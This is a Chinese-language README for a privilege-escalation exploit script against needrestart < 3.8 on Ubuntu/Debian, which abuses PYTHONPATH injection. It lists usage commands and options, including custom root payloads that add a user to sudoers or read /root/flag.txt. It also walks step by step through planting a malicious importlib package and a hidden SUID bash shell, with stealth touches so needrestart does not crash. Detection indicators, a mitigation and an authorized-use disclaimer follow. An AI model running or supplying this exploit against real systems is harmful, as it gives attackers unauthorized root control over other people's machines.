通过 PYTHONPATH 注入,针对 Ubuntu/Debian 系统上 needrestart < 3.8 的本地权限提升利用。
needrestart 是一个常用工具,安装在 Ubuntu/Debian 服务器上,用于检查哪些服务在库升级后需要重启。它以 root 身份运行,通常在 apt 操作后自动触发,或通过 sudo 直接调用。
在检查 Python 进程时,needrestart 会重新调用 Python 解释器,同时从 /proc/<pid>/environ 继承进程的完整环境——包括 PYTHONPATH。一个无特权的本地用户可以利用这一点:
PYTHONPATH 设置为包含恶意 importlib 包的目录importlib/__init__.py| 包 | 受影响 | 已修复 |
|---|---|---|
| needrestart | < 3.8 | >= 3.8 |
已在以下版本上确认:
needrestart 3.5-5ubuntu2.4needrestart 3.6-7ubuntu4chmod +x exploit.sh
./exploit.sh
然后在另一个终端中触发 needrestart:
# 如果你有对 needrestart 的直接 sudo 访问权限:
sudo /usr/sbin/needrestart
# 或者通过 apt 触发(needrestart 作为 post-apt 钩子运行):
sudo apt update && sudo apt install --reinstall coreutils
一旦 needrestart 触发,该利用会在 /var/tmp/.rootshell 创建一个 SUID shell,并自动将你带入 root shell。
如果自动执行不起作用,可以手动获取 shell:
/var/tmp/.rootshell -p
Usage: ./exploit.sh [OPTIONS]
Options:
-c <command> 自定义以 root 身份运行的 shell 命令(默认:复制 suid shell)
-w <seconds> 最大等待时间(秒)(默认:300)
-t 触发模式:尝试通过 apt 触发 needrestart
-n 不清理:利用后保留载荷目录
-h 显示此帮助信息
# 默认——在 /var/tmp/.rootshell 创建 SUID /bin/bash 副本
./exploit.sh
# 通过 apt 自动触发 needrestart(需要 sudo apt 访问权限)
./exploit.sh -t
# 自定义载荷:将当前用户添加到 sudoers
./exploit.sh -c 'usermod -aG sudo targetuser'
# 自定义载荷:读取受限文件
./exploit.sh -c 'cat /root/flag.txt > /tmp/flag.txt && chmod 644 /tmp/flag.txt'
# 延长等待时间(10 分钟)
./exploit.sh -w 600
┌───────────────────────────────────────────────────────────────┐
│ 1. 创建 /tmp/.nr_XXXX/importlib/__init__.py,包含载荷 │
│ 该载荷运行 os.system() 以复制 /bin/bash 作为 SUID 二进制 │
├───────────────────────────────────────────────────────────────┤
│ 2. 生成一个长时间运行的 Python 进程,其环境变量中导出 │
│ PYTHONPATH=/tmp/.nr_XXXX │
├───────────────────────────────────────────────────────────────┤
│ 3. needrestart 运行(通过 sudo 或 apt 钩子),扫描 │
│ /proc/*/environ,发现该 Python 进程 │
├───────────────────────────────────────────────────────────────┤
│ 4. needrestart 以 ROOT 身份重新调用 python3,继承攻击者的 │
│ PYTHONPATH → 加载恶意 importlib │
├───────────────────────────────────────────────────────────────┤
│ 5. 载荷以 root 身份执行:cp /bin/bash + chmod 4755 │
│ → 攻击者运行 /var/tmp/.rootshell -p → root shell │
└───────────────────────────────────────────────────────────────┘
/var/tmp/ 而不是 /tmp/,因为 /tmp 通常挂载了 nosuid 选项,这会静默移除 SUID 位。importlib/__init__.py 在载荷执行后通过清理 sys.path 和 sys.modules 恢复真实的 importlib,使 needrestart 不会明显崩溃。.py 文件(而不是 -c 单行命令),以便更好地兼容 needrestart 的解释器扫描。表明该漏洞已被使用的迹象:
/var/tmp/ 或 /tmp/ 中出现意外的 SUID 二进制文件PYTHONPATH 值运行/tmp/.nr_* 且包含 importlib/ 子目录的目录# 将 needrestart 更新到已修复版本
sudo apt update && sudo apt install needrestart
# 或者完全禁用解释器扫描
echo "\$nrconf{interpscan} = 0;" | sudo tee /etc/needrestart/conf.d/no-interp.conf
此工具仅供授权的安全测试和教育目的使用。请仅在你拥有或已获得明确书面许可的系统上使用。未经授权访问计算机系统是违法的。作者对误用不承担任何责任。
MIT